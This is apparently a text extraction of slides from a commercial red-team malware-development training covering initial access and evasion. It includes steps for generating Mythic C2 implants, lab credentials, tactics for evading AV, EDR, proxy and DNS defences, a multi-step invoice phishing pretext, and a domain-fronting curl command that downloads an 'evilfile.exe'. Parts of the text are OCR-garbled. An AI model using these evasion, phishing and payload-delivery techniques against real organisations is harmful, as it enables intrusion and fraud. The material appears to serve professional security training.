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Online Training, Multiple Timezones, Oh my..

This training will be recorded & recordings will be shared! ©
Feel free to record it yourself if you wish (for a backup?)

Something doesn’t work and you want me to take a look at it?

Let me know - we’ll jump on a 1-on-1 during a break
Something else? Send me a Twitter DM, e-mail or let me know in anyway!

Please do ask questions as soon as you might have ones, don’t

stack them up.



beacon>
whoami

8+ years in commercial IT Sec

Ex-malware analyst & AV engine developer

IT Security trainer

Pentester, Red Team Operator

Malware Developer
* Mostly recognized from my github.com/mgeeky

Security Certs holder

CREST CRT, CRTE, CRTP, OSCE, OSCP, OSWP, CCNA, eCPTX, CARTP



Agenda - Day 1 - Classic Initial Access

~

» Hello Mythic C2
@R

» Introduction

~

» Modern Cyberdefence Stack
» Initial Access and Evasion Tactics
O » Classic File Infection Vectors

» Windows Script Host files

» Executables

Hic
\ [T » Maldocs
» CHMs
» LNKs
:8:8 » MSI Shenanigans

» MSI Weaponization

» Backdooring MSIs



Agenda - Day 2 - New Hope

»

»

»

»

»

»

»

»

The Beauty of HTML Smuggling
Hosting Thy Payloads

Code Signed Threats
» Fantastic Code Certs And Where To Find Them

MSIX + APPX
ClickOnce Deployments
Containerized Malware

Complex Infection Chains

(if there’s enough time & will)
Parts of Appendix: Maldocs



Agenda - Day 3 - Shellcode Loaders

» Basics
» Protectors, Obfuscators

» PE Backdooring

E@-‘ » Implant Watermarking
N » Meet Shellcode Loader

» Hide your Shellcode

» Executable Formats

» Basic Evasions
@ » Strings obfuscation
, » Entropy, File Bloating, Pumping
» Time-Delayed Execution, Beating Emulators

» Controlled Decryption
» Fooling ImpHash

(() iz » AMSI, ETW - get off my lawn
» Freestyling with DripLoader
» Calling WinAPI Safely
» EDR is Hooking, API Address Resolution
» UnhookMe, Modules Refreshing
|(]| [J » Direct Syscalls
|[]|[) » Call Stack Obfuscation

» Problem Analysis
» Return Address overwrite
» Spoofing

» Other exotic evasions

» QOutro
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Hello World »

Disclaimer

Initial Access & Evasion tactics effectiveness is very Company/vendor specific
Quite hard to maintain absolute 0% detection rate in Mature, Highly Secured Environments
No guarantee any of these tactics will work for your engagements

To avoid legal harassment I cannot demonstrate bypasses against specific products

Couldn’t use Cobalt Strike for this training,

» because requirements for their Classroom License were hard to comply

This training is of Intermediary difficulty.

Wall Of Text Slides

» = purposely designed this way to give you heavily packed slides full of knowledge



Hello World » B

: : 2 R
Objectives

A couple recent tweets from various people about
everyone wanting to be a red teamer. It's a really
interesting time if you're red teaming clients who
» Train 1ng Obj ectives actually need it. There is a constant requirement to be
on top of EDR products/detections that could change
» Understand Cyberdefence Systems, their strengths & weaknesses ST

. . . . 4:54 PM - 2 lip 2022 - Twitter Web A
» Review latest Initial Access strategies e e A

. . . . 32 Tweety podane dalej 8 Cytatow z Tweeta 137 Polubien
» Learn advanced post-exploitation in-memory evasions
© w

» Practice Red Team malware design principles that work best in 2023
https://twitter.com/HackinglLZ/status/15432466253588

72576
» What We’ll Learn
» What file vectors still work and could be used for Adversary Simulation
» How to design evasive, advanced Office-based payloads We’1l be drinking from that
. fire hose throughout these 3
» Executables and Shellcode Loader tactics days ~.A

Justin Elze @HackinglLZ - 2 lip
i{e W odpowiedzi do

You're basically drinking from a fire hose of new techniques and basic PoCs
some of which may or may not work in enterprise environments. The
majority of which require combining streams of research to make effective.
After all that said technique might have a short life span.

Q 2 I 2 Q a7 i



Hello World »
Creds

» There are a few services supplementing this Training.

» Please don’t hack blo.it server. It’s an empty, temporary EC2 instance. No sensitive stuff in there ©

» @. Virtual Machine - 3 months valid, legal VM straight from microsoft.com:

» student / Password!

» 1. GitlLab:

» https://git.blo.it

» User: studentX / YummyMalware23!

» 2. Mythic:

» https://c2.blo.it/

» User: studentX / YummyMalware23!

Slides, Materials, Tools repository:
C:\Training
https://git.blo.it/maldev/training

» 3. Cobalt Strike - for those who have a license:

» C:\Trainings\Port-Forwarding\forward-cobalt.psl - 127.0.0.1

» User: studentX / YummyMalware23

iy

PwnDrop: PS> cd C:\Training ; git clone --recurse ssh://git@git.blo.it:222/maldev/training.git .

1. First browse to that URL:
https://pwn.blo.it/pwndrop-aSuseEpeXyiQ

»

Other repos:
https://git.blo.it/maldev/

2. Then authenticate:

student / YummyMalware23!


https://git.b1o.it/
https://c2.b1o.it/
https://pwn.b1o.it/pwndrop-aSuseEpeXyiQ
https://git.b1o.it/maldev/training
https://git.b1o.it/maldev/

Hello World »

How about we get to know each other? ©

» Let’s have a proper Warm Up - Anyone wants to tell us little bit about:

» Your professional experiences related to IT Security

» Have you written Malware before?
» Do you perform Adversary Simulation? Red Teaming?

» Or Threat Hunting/Detection? ©

» Your expectations about the course

» Hobbies, interests ©
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(PRIV) Cobalt Setup



Cobalt Setup »

(PRIV) Quick Setup

» For those who posses Cobalt Strike license:

A
~

locally forward port 50050 - key limited-user.pem is in your repo\Port-Forwarding

» ssh -N -i limited-user.pem limited-user@c2.blo.it -L 50050:127.0.0.1:50050

» I recommend using MobaXTerm builtin Port-Forwarding utility

» Password: YummyMalware23

» There’s also initial-opsec user automatically performing actions upon new beacon checking-in:
» ETW stop
» unhook

» auto-ppid
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Hello Mythic C2



Mythic C2 »

Quick Introduction

» Mythic - Open-Source C2 framework from Cody Thomas (@its_a feature / @SpectreOps)

» Very well documented - https://docs.mythic-c2.net/

» One UI serves Multiple different Implants for various Platforms

» Quality of Life improvements

Open-Source Red Teaming Framework

* https://github.com/its-a-feature/Mythic
* https://docs.mythic-c2.net/

Modular Framework using Docker

Multi-Operator, Muti-Operation, Web-based
* Access Controls, Spectator Mode

* loC/Artifact Tracking
Plug-n-Play architecture for Agents and C2 Profiles

* https://github.com/MythicAgents
* https://github.com/MythicC2Profiles

MITRE ATT&CK Mapping and Tracking

Mythic Traffic Flow Diagram

Operator Traffic
Payload Types

Documentation Server Poseidon Container Database Connection

Apfell Container

Operator’s RabbitMQ Messages

Browser

PostgreSQL Database

... Payload Container
Agent Traffic

Operator’s
Browser

Mythic Server RabbitMQ

C2 Profiles

WebSocket C2
>} HTTP C2
_!! ... C2 Server I II

Operator’s
Browser

Agent Calling
back



https://docs.mythic-c2.net/

Mythic C2 »

Implants + Generation

» Each student gets his own X - e.g. studentl .. student20

» Exercise 1: Generate Apollo implant in EXE and Shellcode

»

»

»

»

»

»

»

1. Browse to https://c2.blo.it/new/login -> login with studentX / YummyMalware22! (X=1..20)

2

5

Topmost-left hamburger menu -> Create -> Create Payload -> Windows -> Apollo

Select WinExe/Shellcode -> move all commands to included section -> select http ->

. Set up HTTP options:

Setting Value

Callback Host ://c2.blo.it
Callback Port

GET Request URI /whoami

POST Request URI /update

User Agent default

. Next -> specify name & description including your X e.g. apolloX.exe
. Hit “Create Payload”

. Go to Payloads -> Download -> go to the next slide

Available Commands

select larget Us

L 3 Home

Global Configurations
* Services

= Create

E'l" Create Payload

Payload

Payload lype

Build Commands Into Agent

X +

https://c2 blo.it/

+ Create Wrapped d

) O % Q e & J
To Mythic
W
ate -> Create Payload
~
ye and Supply Build Parameters
You Want Stamped Into The Agent
and Fill Out Parameters
on
select Commands Select Tl
l Commands Included

O

O
O
O

assembly_inject

blockdlls

cat

cd

>elect larget Us

Payload lype

Payload Review

apollo1.exe

Apollo1-1

BACK

START OVER CREATE WRAPPER


https://c2.b1o.it/new/login

Mythic C2 »

PE CUI -> PE GUI ,,conversion”

» Generated Apollo.exe leaves console window visible. Let’s get rid of that!

» To change WINDOWS CUI to WINDOWS GUI executable, follow these steps:

» 1. Right click on your generated Apollo.exe -> open it with Detect-it-Easy (DIE)
» 2. Go to PE -> IMAGE_OPTIONAL_HEADER -> scroll down to Subsystem field -> change it to WINDOWS_GUI -> close the tool

» 3. Double-click on your Apollo.exe - now there’s no visible cues it’s running!

+ c\Users\student\Downloads\ "= E [wci s
et el . e
+ MName ‘ Ext |Siz: : [“]'I
40 <Dl = - -
-[ej“ i e [ Rebad |/« [ Hex || Dissem |[ stines | [Memoryman || Entropy | [Heuricticscan| [ R
File name
File type Entry point




Mythic C2 »

EXE/DLL <> Shellcode conversion

WARNING!

Apollo.exe and Apollo.bin are

» Conversion of EXE/DLL to Shellcode creates Reflective DLL/EXE loader stub
They probably won’t work with

»  Donut x64 Windows from MSI/VBS/3JS

» SRDI

2 ProtectMyTooling v0.16 | don't detect tools, detect techniques

» Pe2shc Input File  X:\x33fcon-maldev\files\repo\Mythic\4-merlin.exe | |eromse choose packers to work with:

output File X:\x33fcon-maldev\files\re hic\4-merlin.bin save As... amber [a
> ARG | asstrongasfuck

2 Am—ber‘ File Architecture Auto [+| petected file type: PE Executable atompepacker
backdoor
e callobf
3 o confuserex
3 0 -- P ain donut
» Conversion of Shellcode to EXE/DLL is done by: < Packers ¢ ot
hyperion
intellilock
invobf
logicnet
e e -
mpress
netreactor
) Clear i
(ProtectMyTooling -> RedBackdoorer.py) -
packeres

= pe2shc
» Example open-source Shellcode Loaders: pecloak

Config path x:\x33fcon-laldev\files\repu\‘rools\Pmtecﬂl)ﬂooling\config\?rct{ [Brwse g:::z:dm

‘MO\'E up

» 1. Embedding shellcode into a Shellcode Loader executable

‘ Remove

» 2. or backdooring legitimate PE executable with shellcode

sgn
smartassembly
srdi

themida

|
|

» NimPackt-v1 Custom Options | upx
|

» S care C row watermark section=.foo,1234567890abcdef123456

Custom I0C

vmprotect

File to backdoor

4

» My POloniUm _ | collect 1ocs | Wide console | Don't disable Av  v|verbose | Debug Add to chain

Donut("4-merlin.exe™)

» Your own custom loader! ©

|Protect ‘Protect & Run ‘List Packers & Details |Edit config |Full Help |About

» You can conveniently use ProtectMyTooling to convert input EXE

into output Shellcode with Donut/sRDI/pe2shc


https://github.com/TheWover/donut
https://github.com/monoxgas/sRDI
https://github.com/hasherezade/pe_to_shellcode/releases
github.com/EgeBalci/Amber
https://github.com/optiv/ScareCrow
https://github.com/chvancooten/NimPackt-v1
https://github.com/Binary-Offensive/polonium
https://github.com/mgeeky/ProtectMyTooling

N
INTRODUCTION



Introduction »

Modern Cyberdefence Stack

» Mature, highly secured environments invest into layered cyberdefence stack

» Example composition of Microsoft 365 Defender stack:

Edge protection

ko o ~E- @ [ -
o =
Metwork throttling IF reputation/throttling Domain reputation Directory-based edge filkering Backscatter detection Enhanced filtering for

Df-Prem routing

Sender intelligence

' - 1 e r r
N it e — - o o - microsoft, con
i | F
Account DMARC DEIR, Intra-org spoof Cross-domain Bulk Mailbox Mailbox intelligence User Domain
compromise detection SPF, ARC intelligence spoof intelligence filtering intelligence impersonation impersonation impersonation
[—————————— | I S [———— ]

Content filtering

. " . L —

‘_r;l:i X v n L <f= v = J' *ﬂ q,'
Transport AV engines Type blocking Attachmaent Huristic ML Tenant URL reputation Content Safe Linked content URL
custom rules réputation blocking  clustenng maodels allowyblock lists blocking heuristics attachments detonation detonation
[———1] i |

Post-delivery protection

$o ™~ ™ ! AN gty ad s)

Safe links Phish zero-hour Malware zero-hour Spam zero-hour URL detonation
auto-purge auto-purge auto-purge

Campaigns End-user reporting Office clients OneDrive/SharePoint
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Introduction »

Modern Cyberdefence Stack

» Mature, highly secured environments invest into layered cyberdefence stack

Secure Email Gateway / Email Security
»  FireEye MX
» Cisco Email Security
»  Trend Micro for Email
» MS Defender for Office365

Secure Web

Secure DNS Gateway (Proxy)

Secure Web Gateway
»  Symantec BlueCoat
» Palo Alto Proxy
»  Zscaler
»  FireEye NX

Secure DNS
» Cisco Umbrella
» DNSFilter
»  Akamai Enterprise Threat Protector

AV
»  McAfee AV 1
»  ESET NOD32
»  Symantec Endpoint Protection

EDR
»  CrowdStrike Falcon SR
» MS Defender for Endpoint . . . ndpoin
»  SentinelOne ETEL SEEIT ST Security:

»  Vmware Carbon Black + Sandbox ‘: AV + EDR



i »
Int rOd uction https://twitter.com/DebugPrivilege/status/1599360029416558593

https://www.cisa.gov/uscert/ncas/alerts/aa22-321a

Initial Access - Common ways in

phishing, and
drive-by-downloads

L

» Typical Initial Access vectors (ewase INITIAL TOP 10?): u

INITIAL INFECTION
VECTORS

1. Email with malware attached / linked
2. Spear-phishing / phishing / stealing valid credentials (especially over unusual platforms: LinkedIn, Skype, Telegram, Discord, Slack, Web forms)
3. Reusing stolen credentials against external single-factor VPNs, Citrix Gateways, vulnerable Fortinet VPNs

4. Password Spraying against Office365, Azure, custom login pages, VPN gateways

5. Exposed RDP with weak credentials and lacking controls

6. Unpatched known vulnerable perimeter device, application bugs, default credentials, Proxyshell / Log4j

7. Rarely HID-emulating USB sticks introduced to the company’s premises

8. WIFI Evil Twin -> Rogue WPA2 Enterprise -> NetNTLMv2 hash cracking -> authenticated network access -> Responder

9. Plugging into on-premises LAN -> Lacking 802.1X -> Responder / mitmé / Ldaprelayx / relaying to LDAP to create backdoor Machine account

(RBCD/Whisker) Ransomware Attack Vectors
100.0% == RDP Compromise
10. SEO Poisoning - making malicious websites pop up higher in search engine results = Email Phishing

Software Vulnerability
Other

11. »???

The method of initial intrusion will depend on which affiliate targets the network. Hive actors have gained initial access to victim networks by using single factor logins via

<}
T
@
5
o
]
o
(4
@
S
2
-4
2
S
@
@
@
-
o
k]
R

Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [T1133]. In some cases, Hive actors have bypassed
multifactor authentication (MFA) and gained access to FortiOS servers by exploiting Common Vulnerabilities and Exposures (CVE) CVE-2020-12812. This vulnerability

enables a malicious cyber actor to log in without a prompt for the user’s second authentication factor (FortiToken) when the actor changes the case of the username.

O COVEWARE


https://twitter.com/DebugPrivilege/status/1599360029416558593
https://www.cisa.gov/uscert/ncas/alerts/aa22-321a

Introduction »

Initial Access - Common ways in

Mlcrosnft Exchange

Non_phishing Exploitation {
Manage Engine
@ Phishing T1566 SupportCenter Plus

@ Drive-by Compromise - T1189
@ Exploit Public-Facing Application - T1190

@ Valid Accounts - T1078 {
Excel File {
Emotet

i Follina Exploi
The DFIR Report: Word File {
2022 Year In Summary
ISO File { {
BumbIeBee
T { {

https://thedfirreport.com/2023/03/06/2022-year-in-review/



Common Initial Infection Vectors , 0 G thunderbird - Google Search X | -+

< O 3 https;//www.google.com/search?q=tt
We noted several initial infection vectors across multiple ransomware incidents, including RDP,
phishing with a malicious link or attachment, and drive by download of malware facilitating
follow-on activity. RDP was more frequently observed in 2017 and declined in 2018 and 2019.
These vectors demonstrate that ransomware can enter victim environments by a variety of
means, not all of which require user interaction.

wg e thunderbird

Q Al @ Images @ News [ Videos ¢ Shopping i More

About 104,000,000 results (

One of the most frequently observed vectors was an attacker logging on to a systemina Ad - https:/iwww.tthunderbir space/
victim environment via Remote Desktop Protocol (RDP). In some cases, the attacker Thunderbird - Easier Easy to Set Up IcedID malvertising

brute forced the credentials (many failed authentication attempts followed by a
RDP or other successful one). In other cases, a successful RDP log on was the first evidence of
remote malicious activity prior to a ransomware infection. It is possible that the targeted system
access used default or weak credentials, the attackers acquired valid credentials via other
unobserved malicious activity, or the attackers purchased RDP access established by . i . .
another threat actor. In April 2019, we noted that FING used stolen credentials and RDP to Thunderbird — Make Email Easier. — Thunderbird

move Iaterally in cases resultinq in ransomware de ployment. Thunderbird is a free email application that's easy to set up and customize - and it's loaded with
great features!

Thunderbird is a email application that's easy to set up and customize - great features! Many

more features you can change the look and feel in an instant.

https://www.thunderbird.net

A significant number of ransomware cases were linked to phishing campaigns delivering Download Thunderbird

some of the most prolific malware families in financially motivated operations: Download Thunderbird. Your download should begin ..
TRICKBOT, EMOTET, and FLAWEDAMMYY. In January 2019, we described

TEMP.MixMaster TrickBot infections that resulted in interactive deployment of Ryuk. Features

Thunderbird is a free email application that's easy to set up ...

Phishing with
link or
attachment

Several ransomware infections were traced back to a user in the victim environment
Drive-by- navigating to a compromised website that resulted in a DRIDEX infection. In October
download 2019, we documented compromised web infrastructure delivering FAKEUPDATES, then
DRIDEX, and ultimately BITPAYMER or DOPPELPAYMER infections.

Add-ons

Most Popular Extensions - Themes - Featured Extensions - ...

Make Email Easier.
Thunderbird is a free email application that's easy to set up ...

More results from thunderbird.net »

www.mandiant.com/resources/blog/they-come-in-the-night-ransomware-deployment-trends https://twitter.com/abuse ch/status/1 382993862656



https://www.mandiant.com/resources/blog/they-come-in-the-night-ransomware-deployment-trends
https://twitter.com/abuse_ch/status/1620152382993862656

Introduction »

Initial Access & Evasion - Email

» This training is on Malware, so we don’t have time

to delve into Phishing/Social Eng.

» Malware in Attachments

=> Strict File Type policies prevent the risk.

» Unless we hit a sweet spot with non-anticipated file extension.

» Case Study #1:
» Client had robust attachment-based policies.
» Blocked almost everything coming outside of a company

»  (EVASION) Didn’t block PPTM, PPSM, ACCDE, MDE, HTML, ISO, IMG, PDF

» Conclusions #1:

»  Out-of-the-Box protection may not cover latest trending abused vectors

(IS0, IMG, HTMLs, SVGs)

»  Customer security engineers may be unaware of all kinds of

dangerous extensions while designing their custom policies

Undeliverable: Samples

Microsoft Outlook
To @ BANACH, M. (MARIUSZ)

MO

Malware Alert Text.txt
569 bytes

1] Office 365

Your message couldn't be delivered to multiple recipients.

A custom mail flow rule created by an admin at
has blocked your message.

Notification, attachment type not allowed.
mariusz.banach Office 365
Sender Action Required
N e |

Blocked by mail flow rule

Couldn't deliver to the following recipients:

How to Fix It

An email admin at has created a custom mail flow
rule that blocks messages that meet certain conditions, and it appears
that your message has met one or more of those conditions.

o Check the text above for a custom message from the email admin



Introduction »

Initial Access & Evasion - Email @ Bl e

» Malware at email embedded URL DS NP

We're scanning this link to see if it's malicious. The scan should be
completed soon, so try opening the link in a few minutes.

» Most URL-based attacks DO work

» => Hard for current technology to detect Website’s intention

Powered by Office

» Unless we spoil it:

» Domain’s reputation, maturity, categorisation, certificate’s signer (Lets Encrypt won’t do) must be sound.

» URL’s structure looks benign: beware of ?id= , ?rid= , ?campaign=, ?track=, /phish.php?sheep=
Embedded Images

»  Number of GET params, their names & values DO MATTER
Images without ALT
Masqueraded Links
Use of underline tag <u>
» (EVASION) Deadly success rate with HTML Smuggling! ©

<a href="..."> URL contained GET parameter

<a href="...">» URL contained GET parameter with URL

(6) Test: <a href="..."> URL pointed to an executable file <a href="..."> URL pointed to an executable file
Mail message contained suspicious words
Message contained <a> tags with href="..." links pointing to a file with
dangerous extension (such as .exe)
CONTEXT :
<a href="https:// report.zl3.web.core.windows.n...r:#f2f2f2">Geloschte Dateien iiberpriifen</span></a>

href = "https:// report.z13.web.core.windows.net/onedrive.exe?url=https%3A%2F%2Fing%2Dmy%2Eshar"



https://www.securesystems.de/blog/offphish-phishing-revisited-in-2023/

Initial Access & Evasion - Phishing Tidbits

» Send an email to the target domain but to the non-existent recipient to elicit NDR - Non-Delivery Report

» Then use decode-spam-headers script to analyse returned SMTP headers, look into ,,Security Appliances Spotted” report

» Multi-step Phishing pretexts to create plausible scenario (Investor Relationships, Lawyers, Accountants / Invoice):
1. Hello, as agreed I want to send you an invoice for the service XYZ subscription. To whom should I send it to?
2. Hi, please send all invoices to Anna@contoso
3. Hi Anna, I have this unpaid invoice for @contoso and Barbara from contact@contoso told me to send it to you. Is it to okay to send you that invoice?
4. Hello Attacker, we didn’t expect invoice from you. Is this a mistake?
5. Anna, well this invoice figures to us as unpaid. The subscription for service XYZ that you purchased will have to be ceased if its not paid. Please check this invoice ASAP

6. At this point: Anna expects to receive a document, Anna is urged to review it, Anna might feel anxious about unpaid-status, our @attack domain matured enough for MD0365 to

l; W aplikacji mobilnej - 2 min temu

consider it as warmed-up & lower sensitivity thresholds.

» Rules of thumb:

»  How about moving away of Emails and try Phishing over Teams
(group communication required: @Attackerl, @Attacker2, @target), LinkedIn .

Looking for outstanding technical minds & talents!

»  Images, Links - increase SPAM score
]

*  Hello Mariusz!

»  How about moving Link into single-page PDF?

»  Links with multiple GET parameters (especially shady ones such as ?rid=) increase SPAM score |

I've sent you my resume yesterday, did you have a chance to
look at it? I'm sending it here. Kindly waiting for your
1 feedback! :-)

» Don’t use no-reply, noreply usernames !

» MS Defender for Office365 - only 5 email attempts per single username@attacker.com

https://resume.z13.web.core.windows.net/My-Resume.doc

»  Send through: GoPhish -> AWS SOCAT :587 -> smtp.gmail.com -> @target.com iijmmﬂ%mm
» Link to websites on trusted domains (Cloud-facing resources are the best) ‘ v

»  Make sure your webserver blocks automated bots, bans entire CIDRs associated with scanners/security vendors :


https://github.com/mgeeky/decode-spam-headers
mailto:username@attacker.com
https://www.securesystems.de/blog/offphish-phishing-revisited-in-2023/

uction »

Initial Access & Evasion Email

No.1422-4/2023-MZV

GOBIERNO MINISTERIO
DE ESPANA DE ASUNTOS EXTERIORES, UNION EUROPEA . .
Y COOPERACION The Embassy of the Czech Republic presents its complements to

the all Diplomatic Missions and International Organizations and is
Sent: Tuesday, March 14, 2023 11:10:07 AM pleased to invite you to a wine tasting event that will be held at
Subject: Invitation to the meeting the Embassy of the Czech Republic on April 13, 2023.
Dear colleagues, we are pleased to invite you to take part in a meeting on

Dear colleagues, we are pleased to invite you to take part in a meeting the topic “The Future of international economic relations.” and a Drink
on the topic “The Future of international economic relations.” and a Reception, which will be held on March 23, 2023 at the Embassy of Spain.
l)ripk Reception, which will be held on March 23, 2023 at the Embassy of . . . . . . Applications are submitted wuntil April 11,2023, then
Spain. The detailed information about the meeting and the participant’s registration will be closed.

guestionnaire can be found AT THE LINK.
T'he detailed information about the meeting and the participant’s You can download all relevant information about the event and
questionnaire can be found at the attachment. To participate in the meeting , you must fill out a questionnaire, which you the participation form from our website.

can download from the link above and poison it with a reply letter no later then

March 20.

Please fill out an application for participation in the event
and send it to the e-mail address: jozef.zielen@embassy.mzv.cz

5 April 2023

Please, confirm the reception of the letter
Best regards, Best regards,
Marcelino Oreja

E-mail:marcelino.oreja@maec.es The Ambassador

\ e

Amo: "Assistant to the Ambassador” <zdenek.holych@seznam.cz>
AmeataAn: Aeutépa, 6 defpoudpiog, 2023 12:43:56 MM
©épa: Meeting request - Ambassador of the Czech Republic Ministry of Foreign Affairs

Dear Colleague, of the Czech Republic
The Ambassador of the Czech Republic, would be delighted to have the opportunity to pay a courtesy call to H.E. the Ambassador of Greece

| would be most grateful for your advice as to when it may be possible to schedule such a meeting. You can find the Ambassador’s convinient date/time here. Ambassador‘ S Schedule F ebruary 2023

Kind regards,

Zdenek Holych Download starts automatically. Please wait...
Assistant to the Ambassador m European | J

email: zdenek.holych@mav.cz | web: www.mzv.cz CommiSSion

literaturaelsalvador.com:

/ -,,_-’ Ministry of Foreign Affairs
of the Czech Republic

DeCIDE Decision/eTrstEx/LegisWrite

Follow the instructions Rzeczpospolita Polska

Anna Roumelioti

PA to the Ambassador
Greek Embassy in Moscow ~
Leontievsky per.4 Ambassador’s schedule February 2023
125009 Moscow

tel: +7495-5392942/43

fax: +7495-5392944 Download starts automatically. Please wait...

ce-services



https://www.gov.pl/web/baza-wiedzy/espionage-campaign-linked-to-russian-intelligence-services

Introduction »

Initial Access & Evasion - Proxy

» Secure Web Gateways (SWG, Proxy) actively scan ingress/egress web traffic

» They’re very sensitive on:
» Domain characteristics - more on the next slide
» URL-fetched contents: HTML, body, Javascript,

» MIME types - whether file is allowed or blocked

» (EVASION) Easily evaded with High-Reputation servers

» More on this on next slide

» (EVASION) Easily evaded with HTML Smuggling

192.168.52.134/index.html

w

i) 192.168.52.134

Save File

Do this automatically for files like this from now on.

» Hard to tell by Proxy whether HTML looks dodgy or not. Impossible to protect solely via Javascript signatures
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Initial Access & Evasion - Secure DNS

» Secure DNS utilizes reputation cloud and numerous DNS domain characteristics before resolving query

» Similarly to Proxy, performs extensive Domain evaluation:
» Domain Categorisation, Maturity, whois examination
» Presence on Real-Time Blocking lists, Threat Intelligence feeds, VirusTotal-alike databases

» SSL/TLS certificate contents, signer, CA chain

» (EVASION) Easily evaded with High-Reputation servers which expose their URLs on their Domains:
» CDNs (Domain Fronting): Azure Edge CDN, StackPath, Alibaba
» Cloud-based resources: Storage (S3, Blob), Virtual Machines, Serverless endpoints serving files (Lambda, Functions, ..)

» Personal Cloud-drives: OneDrive, Google Drive, Box.com, Dropbox

DNS

https:/ / legitorg.azureedge.net

Cisco Umbrella

)

/ ~ .':

Interactive
firewall T threat intel

hax@r@kali# curl -X POST -H “file:evilfile.exe” -H “Host: legitorg.azureedge.net” -H “Content-
Length: @* https://workhub.microsoft.com/file/download > evilfile.exe
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Introduction »

Initial Access & Evasion - AV

Antivirus excels at reactive protection, rather weak at proactive.

AV as a product needs to align to specific requirements:

Low false-positive rate
Low user interaction required
Low impact on system resources (CPU, Memory, HDD I/O)

Absolute product’s stability and no impact on system’s stability (consider Minifilter drivers raising BSODs at production)

Reactive protection:

»

»

»

Static Signatures - hashes, byte-pattern matching, static unpackers (Themida, Y@da, Armadillo, PELock, VMProtect) kick in here
Heuristic Signatures - PE headers, entropy, header-based hashes (ImpHash, TypeRef Hash), similarity hashes (SDHash),

Behavioural Signatures - WinAPI call chains, Specific filesystem / registry paths accesses (detection upon monitored persistence installation)

AV Trigger events:

»

On-Demand -> On-Write -> On-Access -> On-Execute -> Real-Time

Proactive protection rather weak due to AV requirements

»

Before-Exec: Mainly Cloud-reputation based examination (file prevalence across the world, reputation, how common the file is)

Before-Exec: Machine Learning evaluation focusing on hand-picked characteristics, such as:

» OEP at the last PE Section, which happens to be executable 0_0O
On-Exec: Emulator simulates malware’s Entry Point first N instructions, regularly scanning emulator’s memory for threats, unpacks malware

On-Exec: Memory Scanner regularly sweeping process’ virtual memory allocations for presence of signatured threats
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Initial Access & Evasion - AV

-> Static Analysis

-> Heuristic Analysis
-> Cloud Reputation Analysis + Automated Sandboxing / Detonation
-> ML Analysis
-> Emulation

-> Behavioural Analysis

» Evasions target each phase specifically:
» Static Analysis evaded by writing custom malware:
» custom DotNetToJScript, custom VBA, custom shellcode loader, etc. + storing shellcodes encrypted
» Heuristic Analysis evaded by smartly blending-in with our payloads:
» instead adding new PE Section, modify current one. ImpHash evasion is trivial
» Cloud Reputation Analysis evaded by backdooring legitimate binaries, devising malware in containers (PDFs, Office docs), sticking to DLLs
» Automated Sandboxing / Detonation evaded by environmental keying (execution guardrails),
» ML Analysis evaded by trial and error, really hard to combat since it’s a Blackbox, we’re aware of many maldev bad smells
» Emulation evaded by time-delaying, environmental keying (only execute if joined to a domain named..)
» Behavioural Analysis evaded by
» avoiding suspicious WinAPI calls,
» acting low-and-slow instead of all-at-once,

» unhooking/direct syscalls may work here
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Initial Access & Evasion - EDR

» AV aims at generic malware detections, EDR excels at threat-oriented protection.

\
» EDR heavily utilizes vendor’s Threat Intelligence / Windows ETW Ti feeds

A\ 5'
J - 2

» EDR is all about Telemetry:

» ETW Ti, User-Land & Kernel-Land process monitoring, FileSystem & Registry monitoring

» Closely monitors:

»  Command Line parameters - so watch out while running ,,SeatBelt.exe 0SInfo”, ,powershell.exe -nop -hidden -enc”
» .NET static class names, methods, properties based on ETW tracing

»  Windows API calls - dangerous APIs will be blocked:

VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, etc.
EPP EDR
»  Anomalies such as unusual EXE/DLL module connects to Internet, or hosts .NET Runtime
. . . . Prevents a wide variety of Used to respond to threats that
»  System API/Syscall activity by tracing thread call stacks leading to a syscall
known and unknown threats have already affected the endpoint
»  Injected Threads
First line of defence - scan, Second line of defence - contain
identify and block nvestigate and respond
3 a g Q P i - protects against Acti - used to counter evasive
» Complete EDR evasion is fundamentally impossible e i) o i <l
known or easily identifiable threats that get past security defenses
» Regardless of evasions, patching, unhooking, anything applied Nl e {Snpragotiys thigeununting
. . Protects endpoints but does not Aggregates data from multiple
» EDR will collect access + execution events anyway before sample executes B : i el
provide in-depth data about endpoints to enable forensic
threats on the endpoint nvestigation
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Initial Access & Evasion - EDR

» EDR evasions same as for AV, since they monitor same event feeds

» The only difference is, AV is immune to ,,API unhooking” whereas some EDRs are prone to that.

» Therefore we may use Modules Refreshing for some EDRs

A
~

Direct Syscalls for other

» Just prey our Malware executes unobstructed for the most apex ones .7

» Kidding, just combine all the efforts and apply absolute OPSEC-minded regime while designing our malware

Hooked

NTtOpenProcess

1}

A-- Not hooked

ntdll IHt

2Eh
MtOpenProcess()

OpenProcess()
—_—
ntdil.dll

Kernalbase.dll

ion+0=12:
0£0s
User Land

Kernel Land

NtOpenProcess()
Function Code }“—{ Kernel Stuff

Source: https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/
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Initial Access & Evasion - EDR

» Parent-Child relationship is a crucial metric for anomaly detection

& [10464] cmd.exe /d /c "C:\Program Files\Wi..

o . . . . . . 0.
» Similarly command line contents (especially killing bit for LNK attacks) process o iy
Execution time Jan 20, 2023 11:50:04 AM
. . . . cmd.exe /d /c
» Newer agents are also scanning VMs (memory & disk) and monitor file transfers “C:\Progran
Files\Windows

Security\BrowserCore\Br
owserCore.exe" chrome-
extension://ppnbnpeolgk
icgegkbkbjmhlideopiji/
--parent-window=0 <
\\.\pipe\chrome.nativeM
essaging.in.6eeeee2dd3c
88aas >
\\.\pipe\chrome.nativeM
essaging.out.6eeeee2dd3
Command line c88aa5

| vmware-authd.exe

[7404] vmware-vmx.exe -T querytoken -s vmx.stdio.keep=TRUE -# “product=1name=VMware Workstation,version=15.5.7;buildnumber=17171

File create SharpPRT.exe

{# Possible attempt to access Primary Refresh Token (PRT) mmm low © Detected © New

userinit.exe

| explorer.exe

| TOTALCMD.EXE

| SharpPRT.exe 2 Image file path c\windows\system32\cmd.exe

f1efbOfddc156e4c61c5f78a547

ile SHAT
immge fileSHA 00e4e7984d55d

[18784) NcPOkGE3.exe
b99d61d874728edc0918caleb

Image file SHA256  10eab93d381e7367e377406e6
5963366¢874450

Possible attempt to access Primary Refresh Token (PRT) mEm Low © Detected @ New

Token elevation: Standard, Integrity

Execution details
level: Medium
Signer &) Microsoft Windows

Microsoft Windows Production
PCA 2011

Issuer

VirusTotal detection 0/70
ratio
